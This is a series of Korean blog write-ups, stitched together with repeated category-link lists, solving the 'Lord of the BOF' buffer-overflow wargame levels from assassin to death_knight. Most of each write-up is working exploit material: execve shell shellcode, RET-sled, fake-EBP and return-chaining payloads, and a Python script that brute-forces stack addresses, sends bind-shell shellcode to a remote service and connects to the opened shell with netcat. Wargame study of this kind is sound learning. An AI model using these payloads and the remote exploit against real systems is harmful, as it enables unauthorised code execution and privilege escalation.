기나긴 여정이 끝났다.



[death_knight@localhost death_knight]$ ls

dropped_item.txt

[death_knight@localhost death_knight]$ cat ./dropped_item.txt 

 You're so great! This is a token to the next gate.


                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

                   `'



'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2016.12.09
[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h> 

#include <stdlib.h> 

#include <errno.h> 

#include <string.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <sys/wait.h> 

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;  

struct sockaddr_in server_addr;   

struct sockaddr_in client_addr; 

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;        

server_addr.sin_port = htons(6666);   

server_addr.sin_addr.s_addr = INADDR_ANY; 

bzero(&(server_addr.sin_zero), 8);   


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

        

while(1) {  

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

            

if (!fork()){ 

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0); <- 입력 받음.

close(client_fd);

break;

}

            

close(client_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


이번 문제는 보안 필터는 없다. 단순히 socket으로 연결하여 buffer를 overflow 시켜주면 된다.


프로세스를 검색해보면 death_knight는 실행되고 있음을 확인할 수 있다.


[xavius@localhost xavius]$ ps -ef | grep death_knight

death_kn   646     1  0 09:48 ?        00:00:00 /home/xavius/death_knight

xavius     702   679  0 10:00 pts/0    00:00:00 grep death_knight


payload는 [buffer size + 4] 까지 Dummy 값으로 채워주고 ret를 bind shellcode의 주소로 덮어 버리면 된다. 


nop = (256 bytes - dummy + ret + bind shellcode) 

payload = [dummy 44 bytes] + [ret 4 bytes] + [ nop + bind shellcode] == 총 합 256 bytes


하지만 socket으로 연결해 통신하는 거라 환경변수를 쓰지 못한다. 즉, 스택안 어딘가의 bind shellcode 주소를 찾아야 하기 때문에 brute force 과정을 거쳐야 된다.


import os

from socket import *

import struct

import time



p = lambda s : struct.pack("<L", s) # 리틀 엔디안으로 바꿔주는 축약식

HOST = "192.168.1.135" # lob 서버 ip

PORT = 6666


bsc = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x95\

  \x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x16\x51\x55\

  \x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x53\x55\x89\xe1\xcd\x80\x6a\x66\

  \x58\x43\x52\x52\x55\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\

  \x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\

  \xe3\x52\x53\x89\xe1\xcd\x80

# l31337 포트를 열어주는 쉘 코드


nop = "\x90" * (256-(44+4+len(bsc))) # nop sled 기법을 이용. (최대 256 byte를 받기 때문)

dummy = "f1ay" * 11 # dummy 값


for ret in range(0xbfff0000, 0xbfffffff, 1): # Stack 공간 brute force

print "Sending: 0x%08x"%ret

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.recv(60)

s.send(dummy + p(ret) + nop + bsc)

s.close()

time.sleep(0.2)

os.system("nc %s 31337" % HOST) # netcat을 통한 서버 연결


Host PC인 windows에서 파이썬 exploit 코드를 실행한 결과다.


C:\Users\ddddh\Desktop>python exploit.py

~~~

Sending: 0xbffffd70

Sending: 0xbffffd71

id

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] death_knight  (0) 2016.12.09
[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}


        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}



이 문제는 stdin(입력 버퍼)를 이용하는 문제다.


cp로 복사한 파일을 gdb로 열어 stdin(입력 버퍼)의 주소를 구한 뒤, ret의 주소를 stdin(입력 버퍼)로 덮어 씌우면 프로그램이 종료되면서 쉘 코드가 실행된다.


[nightmare@localhost nightmare]$ gdb -q ./vavius 

(gdb) set disassembly-flavor intel

(gdb) disassemble main

~~~

0x804871a <main+6>: mov    %eax,%ds:0x8049a3c

0x804871f <main+11>: push   %eax  <- software break point 

0x8048720 <main+12>: push   0x100

0x8048725 <main+17>: lea    %eax,[%ebp-40]

0x8048728 <main+20>: push   %eax

0x8048729 <main+21>: call   0x8048408 <fgets>

0x804872e <main+26>: add    %esp,12 <- software break point

~~~
(gdb) b *main+11
Breakpoint 1 at 0x804871f
(gdb) b *main+26
Breakpoint 2 at 0x804872e
(gdb) r
Starting program: /home/nightmare/./vavius 

Breakpoint 1, 0x804871f in main ()
(gdb) info reg
eax            0x401068c0 <- stdin의 주소
~~~
(gdb) c <- continue 
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <- 입력 값

Breakpoint 2, 0x804872e in main ()

(gdb) x/80wx 0x401068c0 <- stdin
0x401068c0 <_IO_2_1_stdin_>:     0xfbad2288     0x4001503b     0x4001503b     0x40015000

(gdb) x/1wx 0x4001503b-0x4
0x40015037: 0x0a414141

(gdb) x/80wx 0x40015000
0x40015000:     0x41414141     0x41414141     0x41414141     0x41414141
0x40015010:     0x41414141     0x41414141     0x41414141     0x41414141
0x40015020:     0x41414141     0x41414141     0x41414141     0x41414141
0x40015030:     0x41414141     0x41414141     0x000a4141     0x00000000


stdin의 0x4001503bfgets()로 stdin의 값을 buffer로 옮긴 다음 주소를 나타내고,


0x40015000 stdin의 시작 주소를 나타낸다. 


이제 paylaod를 짜 exploit을 하면 된다.


payload를 짤 때는 fgets로 값을 받기 때문에 cat 과 pipe를 사용하여 인자를 전달해야 된다.


(python -c 'print "Shellcode + dummpy 44 byte" + "stdin 시작 주소 (0x40015000)"';cat) | ./xavius


[nightmare@localhost nightmare]$ (python -c 'print "\x90"*14+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x01\x50\x01\x40"';cat)|./xavius

jX1܍j

     XRh//shh/bin⑓⍀P@

id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] death_knight  (0) 2016.12.09
[LOB] xavius -> death_knight  (0) 2016.12.09
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


ret의 영역에는 strcpy의 주소가 담기게 된다. 


프로그램이 종료되면서 strcpy를 실행하게 되는데 strcpy의 리턴 주소는 memset으로 인해 "AAAA"(0x41414141)로 리셋팅 된다.


하지만 프로그램이 종료되고 실행되는 strcpy를 이용하여 "AAAA"로 바뀐 곳을 쉘 코드가 있는 환경 변수 주소로 바꿔주면 된다.


우선은 strcpy()함수의 plt 주소를 알아내야 하기 때문에 readelf 명령어를 사용한다.


[succubus@localhost succubus]$ readelf -a ./nightmare | grep strcpy

  08049878  00b07 R_386_JUMP_SLOT       08048410  strcpy                   

   11:  8048410    34 FUNC    GLOBAL  0  UND strcpy@GLIBC_2.0 (2)

   82:  8048410    34 FUNC    GLOBAL  0  UND strcpy@@GLIBC_2.0


strcpy의 plt 주소를 비교하는 구문을 통과할 수 있으니 


cp로 복사한 파일을 segment fault 띄어 core dump 파일을 분석한다.


[succubus@localhost succubus]$ ./mightmare "`python -c 'print "B"*44+"\x10\x84\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"'`"

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBCCCCDDDD

Segmentation fault (core dumped)


[succubus@localhost succubus]$ gdb mightmare core
(gdb) x/80wx $esp   
0xbffffa28:     0x4000ae60     0x42424242     0x41414141     0x42424242
0xbffffa38:     0x43434343     0x44444444     0x00000000     0x08048420


"AAAA" = memset으로 초기화 되는 곳
"BBBB" = strcpy()의 첫 번째 인자 (&dest) = 0xbffffa30
"CCCC" = strcpy()의 두 번째 인자 (&src) = 0xbffffa3c
"DDDD" = &src의 값, 쉘 코드가 담긴 환경변수 주소 자리


이제 환경변수에 쉘 코드를 등록하고 주소를 구한 뒤 payload를 통해 exploit 하면 nightmare의 권한을 얻을 수 있다. 


[succubus@localhost succubus]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"


환경변수의 주소를 구하는 소스


#include <stdio.h>


int main()

{

        printf("f1ay offset = %p\n", getenv("f1ay"));


        return 0;


}



[succubus@localhost succubus]$ gcc -o ./get_env ./get_env.c

[succubus@localhost succubus]$ ./get_env 

f1ay offset = 0xbffffe84


작성한 payload를 통한 exploit


[succubus@localhost succubus]$ ./nightmare "`python -c 'print "B"*44+"\x10\x84\x04\x08"+"AAAA"+"\x30\xfa\xff\xbf"+"\x3c\xfa\xff\xbf"+"\x84\xfe\xff\xbf"'`"

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAA0󽽺ÿ¿þÿ¿

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)


























'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2016.12.09
[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07
[LOB] giant -> assassin  (0) 2016.12.07

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


이 문제는 text segment의 DO, GYE, GUL, YUT, MO를 차례대로 실행해 MO의 system()함수로 succubus의 권한을 얻는 것이다.


"RET Chain", 즉 연쇄작용을 일으켜 차례대로 실행해주면 된다.


우선 각 함수들의 주소를 알아야 한다.


cp를 통해 복사한 파일을 gdb로 주소를 구해준다.


[zombie_assassin@localhost zombie_assassin]$ cp ./succubus ./cuccubus

[zombie_assassin@localhost zombie_assassin]$ gdb -q ./cuccubus 

(gdb) set disassembly-flavor intel

(gdb) disassemble DO
Dump of assembler code for function DO:
0x80487ec <DO>: push   %ebp

(gdb) disassemble GYE
Dump of assembler code for function GYE:
0x80487bc <GYE>: push   %ebp

(gdb) disassemble GUL
Dump of assembler code for function GUL:
0x804878c <GUL>: push   %ebp

(gdb) disassemble YUT
Dump of assembler code for function YUT:
0x804875c <YUT>: push   %ebp

(gdb) disassemble MO 
Dump of assembler code for function MO:
0x8048724 <MO>: push   %ebp


system() 함수의 인자로 "/bin/sh" 문자열 주소를 전달할 것이다.


libc 영역은 사용하지 못하니 인자를 통해 문자열을 전달해야 된다.


우선은 segment fault를 일으켜 core dump를 만든 뒤 분석한다.


[zombie_assassin@localhost zombie_assassin]$ ./cuccubus "`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"+"CCCCCCCCCCCCCCCCCCCCC"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCC

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

[zombie_assassin@localhost zombie_assassin]$ gdb -q ./cuccubus core 

(gdb) x/80wx $esp 
~~~
0xbffffa94:     0x42424242     0x43434343     0x43434343     0x43434343
0xbffffaa4:     0x43434343     0x43434343     0x08040043     0x0804894c
~~~


"AAAA"는 MO()함수의 return 주소 자리다. (아무 값을 전달해도 상관없다.)


"BBBB"는 system()함수의 인자가 되는 부분이며, "CCCCCCCCCC"를 "/bin/sh"로 대체하여 "CCCCCCCCCC"의 주소를 "BBBB"자리에 넣어준다.


[zombie_assassin@localhost zombie_assassin]$ ./succubus "`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA󽮢in/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07
[LOB] giant -> assassin  (0) 2016.12.07
[LOB] bugbear -> giant  (0) 2016.12.06

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48); 

printf("%s\n", buffer);

}


이번 문제의 힌트를 보면 "Fake EBP"라고 나와있다.


조건은 다음과 같다.


1. argv[1][47]의 값이 "\xbf", "\x40"이 되면 안된다.

2. strcpy과 아닌 strncpy로 48 byte만 카피한다.


전 문제와 같이 "\xbf"영역(Stack), "\x40"영역(Libc)을 사용하지 못하므로 text segment를 사용한다.


하지만 48 byte만 입력받기 때문에 "RET SELD"는 불가능하다.


이번 문제의 힌트인 "Fake EBP" 기법을 이용하여 풀어야 한다.


프로그램의 에필로그 부분의 leaveret 두 개를 이용해야 하는데


leavemov esp, ebp / pop ebp 를 수행하고, retpop eip / jmp eip 를 수행한다. 


처음 leave를 거칠 때 strncpy로 인하여 덮여진 sfp영역의 4byte 값이 ebp로 세팅된다. (pop ebp)


ret 를 만나면 pop eip / jmp eip 과정을 거치며 해커가 덮은 leave의 주소로 jmp하게 된다.

 

두 번째 leave를 거칠 때 mov esp, ebp 과정을 지나면 esp에는 해커가 덮은 sfp의 값이 담기게 되며,


Stack의 현 위치를 가리키는 esp 값이 바뀌게 된다. 이 과정을 esp handling 이라고 부른다.


이 상태로 ret를 한번 더 만나 pop eip를 할 경우 esp에 있는 값이 담기게 된다



우선은 text segment의 주소를 구한 뒤, 일부러 segement fault를 일으켜 core dump를 분석한다.


[assassin@localhost assassin]$ cp ./zombie_assassin ./jombie_assassin

[assassin@localhost assassin]$ gdb ./jombie_assassin

(gdb) set disassembly-flavor intel

(gdb) disassemble main

~~~

0x80484df <main+159>: leave  
0x80484e0 <main+160>: ret 


[assassin@localhost assassin]$ ./jombie_assassin "`python -c 'print "A"*36+"BBBB"+"CCCC"+"\xdf\x84\x04\x08"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC߄ 

Segmentation fault (core dumped)


[assassin@localhost assassin]$ gdb ./jombie_assassin core 

(gdb) info reg

eax            0x32

ecx            0x400

edx            0x40106980

ebx            0x401081ec

esp            0xbffffac0

ebp            0x43434343   <- CCCC

esi            0x4000ae60

edi            0xbffffb04

eip            0x80484df    <- 0x80484df <main+159>: leave  


(gdb) x/80wx $esp-0x50


~~~

0xbffffa00:     0x41414141     0x41414141     0x41414141     0x41414141 <- Buffer 영역

0xbffffa10:     0x41414141     0x41414141     0x41414141     0x41414141

0xbffffa20:     0x41414141     0x42424242     0x43434343     0x080484df <- payload에 사용되는 영역 (32 byte)

~~~


알아낸 정보를 사용하여 payload를 만들면 다음과 같다.


paylaod = [dummy] 36 byte + [환경변수] 4 byte + [0xbffffa20] 4 byte + [0x080484df] 4 byte

 

환경변수에 쉘 코드를 등록한 뒤 exploit 하면 된다.


[assassin@localhost assassin]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"


// 환경변수 주소 구하는 소스

#include <stdio.h>


int main()

{

        printf("f1ay offset = %p\n", getenv("f1ay"));


        return 0;


}



[assassin@localhost assassin]$ gcc -o ./get_env ./get_env.c

[assassin@localhost assassin]$ ./get_env 

f1ay offset = 0xbffffe84


쉘 코드가 담긴 환경변수의 주소는 "0xbffffe84"이다.


이제 알려진 정보들을 이용하여 exploit을 하여 zombie_assasin의 권한을 얻으면 된다.


[assassin@localhost assassin]$ ./zombie_assassin "`python -c 'print "A"*36+"\x84\xfe\xff\xbf"+"\x20\xfa\xff\xbf"+"\xdf\x84\x04\08"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿ ߄ 

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)



풀이에는 정석이 없다.


다른 방법은 수 없이 많이 존재한다.

'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] giant -> assassin  (0) 2016.12.07
[LOB] bugbear -> giant  (0) 2016.12.06

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}


assassin 문제의 조건은 다음과 같다.


1. buffer의 크기는 40 byte.

2. argv[1][47]는 "\xbf", "\x40"이면 안된다.

3. memset으로 buffer + sfp 영역까지 NULL로 초기화한다.


"\xbf"영역(Stack)과 "\x40"영역(Libc)은 사용하지 못하니까 text segment의 RET를 이용한 "RET SLED"을 사용할 것이다.


[giant@localhost giant]$ cp ./assassin 4ssassin

[giant@localhost giant]$ gdb -q ./4ssassin 

(gdb) set disassembly-flavor intel

(gdb) disassemble main

0x804851d <main+173>: leave  

0x804851e <main+174>: ret 


ret 는 pop eip / jmp eip 을 수행한다. 


다시 말해서 pop eip를 두 번 거치게 되는 것이다.


즉, 페이로드는 [dummy] 44byte + [ret 주소] 4byte + [환경변수 주소] 4byte가 되는 것이다.


[giant@localhost giant]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"


환경변수 주소를 구하는 소스는 다음과 같다.


#include <stdio.h>


int main()

{

        printf("f1ay offset = %p\n", getenv("f1ay"));


        return 0;


}



[giant@localhost giant]$ gcc -o ./get_env ./get_env.c

[giant@localhost giant]$ ./get_env 

f1ay offset = 0xbffffe85


이제 payload를 통한 exploit을 하면 assassin의 권한을 얻을 수 있다. 


[giant@localhost giant]$ ./assassin "`python -c 'print "\x41"*44+"\x1e\x85\x04\x08"+"\x85\xfe\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿

bash$ id

uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)






'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07
[LOB] bugbear -> giant  (0) 2016.12.06

+ Recent posts